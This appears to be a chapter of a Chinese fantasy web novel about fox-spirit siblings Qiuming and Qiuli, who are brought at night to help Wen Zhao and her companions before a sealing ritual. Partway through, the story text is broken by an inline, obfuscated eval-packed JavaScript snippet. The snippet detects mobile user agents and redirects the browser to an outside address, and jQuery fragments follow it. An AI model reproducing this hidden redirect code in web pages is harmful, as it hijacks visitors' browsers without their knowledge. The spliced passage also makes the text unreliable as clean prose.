秋名将夜里吃剩下的菜捡收进了厨柜,阿姐说天气冷了,这些没有放葱的剩菜可以多放几天,明天早上拿出来可以下点米粉吃。
他和阿姐虽然是山里长大的狐狸,可是却一直向往人类世界的日出而作,日入而息。
自从跟着阿姐逃到都城,做胭脂,卖胭脂,他还认识了好几个人类朋友,比起在山里的那些岁月,真的开心极了。
他坐在灶前,往里面添着柴火,干松的木柴一放进去,旁边的火舌便立马将它吞噬干净。
他已经很久没有想起自己的父亲和母亲了。当初和阿姐站在悬崖边,那颗想死的心,也早就在这样平淡的生活中被冲刷地一干二净。
秋名听见水开的声音,他又添了一把柴火,心想可以喊阿姐洗澡了。
等他走出厨房却没看见阿姐的身影,四处看了一圈,才发现阿姐站在门口,听声音,似乎是在和一个男人说话。
这么晚了,该不会又是些发情的人类想贪阿姐的便宜吧!
那就别怪自己不客气了!
秋名转身回到厨房,从灶前挑了一根比大腿还粗的棍子,径直朝阿姐那去。
想要学做人类,就要用人类的方式解决问题。那么他认为,用趁手的武器保护自己的阿姐,就是他这段时间在人类世界学会的生存方式。
秋梨还在犹豫去还是不去的问题,忽然听见身后有脚步声。她转头一看,发现秋名正沉着一张脸,手里还拿着棍子。
“秋,秋名?你要干嘛?”
话才说完,秋名就将挡在门前的秋梨轻轻拉开,他到要看看,这个大晚上发情的人类究竟是个什么东西。
可等秋名真正看清门前的人是谁时,他却愣住了。
秋名记得他,是那天帮阿姐赶走那几个贼眉鼠眼的人类的大人。
不过,这也不能代表他能大晚上来找阿姐。他们人类不是都说男女授受不亲的吗?
秋名已经学会他们人类的相处之道了。可为什么他们人类不能遵守他们自己制定的规矩。
“你,你这么晚了还来找我阿姐做什么?”秋名将手中的棍子立在一旁,既给自己打气,也是想要震慑面前的这位大人。
谢雁书对于这位少年也是颇有印象,似乎是那天呆在秋梨一旁的那个少年,他们原来是姐弟。
“在下找你阿姐有事相商。”
“这么晚了能有什么事情相商,孤男寡女共处一地,你是不是有什么非分之想?”
那位总是来陪表姐来找阿姐买胭脂的那个高糕大哥,他总是说,男人和女人待在一处,就是要提防男人,特别是和阿姐待在一处的男人,就更要小心。
秋梨听的耳红面燥。恼羞地拍打了秋名几下:“秋名!!你胡说什么?说什么乱七八糟的。”她想推着秋名往厨房去:“赶快回去烧你的热水。”
“热水烧好了。”
“那你就去洗澡!”
“我不要。”秋名攀住门框:“虽然我很喜欢这位大人,但是一男一女晚上是不可以呆在一起的。”
“谁跟你说的?”秋梨想他这个弟弟肯定是又和哪个人,学些不三不四的东西回来了。“谢大人是找我有正经事情。不,不是你想的那样。”
“正经事情?”秋名看向门口那个高大的男人,原来一男一女大晚上也是可以谈正经事情的吗?
“那你和我阿姐说什么?我也要听。”
秋名不想放过任何一个学习的机会。
谢雁书不想耽误时间,只好将来的本意又和秋名说了一遍。
“事情紧急,秋梨姑娘能否施以援手,就,就当是帮谢某一个忙。”
至于那盒糕点……他还没想好怎么说。
“去啊!为什么不去!”秋名跃跃欲试,脸上写满了赶快走的表情。
“阿姐,这样好玩的事情,不去可惜了。”秋名虽然想去,可是还是要征求阿姐的同意,父亲和母亲临死前说过,让他一定要好好听阿姐的话,还要好好保护阿姐。
秋梨原本不想去,可看着弟弟那副表情,又看了看谢雁书,美色当前,她还是抵挡不住,点头同意了。
秋名见阿姐同意了,赶忙道:“我去把火熄了,等我啊!”
门口,又只剩下谢雁书和秋梨二人。
谢雁书比秋梨高出不少,他低头看着,只能看到她垂下的睫毛。时不时的眨两下,像两只扑翼的蝴蝶,在黑夜中透过稀松的光亮也看的清楚。
秋梨也不知道说些什么,两人除了见过几面以外,说过的话也屈指可数,那日送过去的糕点,他虽然收下了,可却随意丢给了别人。
呼吸,在两人之间流转,心跳,在不同的身体里面狂跳。
谢雁书想说些什么,可刚想好说辞,秋名的声音却厨房门口传来:
“我来啦,阿姐,晚上有点凉,你多穿一件衣裳。”
秋名说着便将手上的衣裳披到了秋梨身上。
谢雁书看着秋名的动作,想着刚打开门那会,秋梨的脸红成那往,估计是被冷风吹的。
虽然只有一匹马,但是带他们两人还是绰绰有余。
谢雁书先上了马,然后又讲两人分别拉上了马,虽然很挤,但是紧一紧,大晚上的跑慢点,总比秋名在地上跑要好的多。
就这样,三人骑在马上,明明只要一刻钟就能到督查司的路,他们居然用了将近两个时辰的时间。
谢雁书带着秋梨两人赶到他们翻阅卷宗的地方时,闻昭已经趴在宋辞年一旁做起梦来了。
一二忍不住打了个哈欠,伸了伸懒腰,点点泪水湿润了眼角。
宋辞年轻轻地将看过的卷宗打开,遮到闻昭头上,可以为她挡住些许光亮。
做完这些,又继续从那堆成小山的卷宗里拿出一份翻看。
也不知道过了多久,门外终于响起来脚步声,听起来,不止一个人。
看来雁书出马,是成功将那位秋梨姑娘请动了。既然如此,还是先让闻昭再睡会吧,待会估计可有的忙了。
她刚刚说的睡觉不要离开她半步,莫非是现在陪着她的这个意思吗?
宋辞年的眸子在烛光下流转,看着闻昭的眼神似乎变了些什么。
“闻昭姑娘,我将人带回来了!”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16796425|190653||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
谢雁书的声音洪亮,还没到门口,便已经传到了闻昭的耳朵里,她原本还在做着和师姐一起听故事的美梦,可忽然间,师姐消失了,故事也没了。
梦醒了,闻昭醒了。
宋辞年见闻昭身体猛的动了一下,遮在她面前的卷宗也因为动作掉落在地。
闻昭惺忪着眼睛,面前的宋辞年看不清楚,她还以为是自己的师哥,还用着小时候的语气,轻轻地唤了声:
“师哥?”
宋辞年的表字,唤斯革。
这名字便是连母妃也不常唤,她是如何知晓?
宋辞年轻轻嗯了一声,想听她还想说些什么,谢雁书的声音已经到了门口了。
“闻昭姑娘,辞年。走吧。我们去敛房。”
闻昭听见谢雁书的声音,宋辞年的面容也清晰可见起来,她刚刚不过是叫错了名字,也没什么吧。
不过看他怎么一副疑惑的样子。
闻昭不想理解,她扭了扭睡麻的脑袋。而后站起来,看了一眼他旁边的秋梨,似笑非笑的扯了扯嘴角。
看来,美色当前,她也抵挡不住不是。
“走吧。”她说完,又看了看一旁还坐着的宋辞年。示意他也一起走。
宋辞年点点头,将卷宗放下,起身与他们一起去敛房。
闻昭见多出来一个人,瞥了一眼,身上的气息和秋梨一模一样,看他的模样和秋梨有八分像,可能是姐弟吧!又或者……
是父女。
毕竟妖怪的寿命那么长,还有法术也不一定,老掉牙的年纪变得比自己女儿还小真是不要脸。
宋辞年自然也是注意到了多出来的少年,两人目光对视时,宋辞年只温和的笑了笑。这是他往来的礼仪,任谁看了,这微笑也是亲切的要命。
一二不一样,他直接问:“你是秋梨姑娘的??”
“弟弟。我叫秋名。”
“你好。我叫一二。”
两个相见恨晚的少年勾肩搭背的在一处聊上了天。
闻昭虽然在前面走着,后面的声音她却听的清楚,原来是姐弟不是父女。
居然看走眼了。
不过看走眼的多了,也不差这一回。
几人很快就走到了敛房。闻昭立定在门口,她认为,开始仪式之前,有些事情一定要交代清楚。
“封印解开之前,有些事情我需要说清楚,也请你们一定要记住。”
说完之后,闻昭从口袋里面拿出了几张黑色的符纸。这是她自制的符纸,功效只在血符之下,关键时刻,能够保住他们的性命。
“这个符,你们放在自己的胸口。万一发生什么事情,它可以救你们的性命。”
“你自己呢?”宋辞年拿着黑符,担忧的看着闻昭,从他那个角度能够看见,里面似乎已经没有黑色的符纸了。
闻昭注意到他的角度。将露出的口袋捏紧,收好。
“我不用。你们收好就成。”
她自己的命,她看的很重,还没有复活自己的家人前,她一定会好好活下去。
不惜一切代价也会活下去。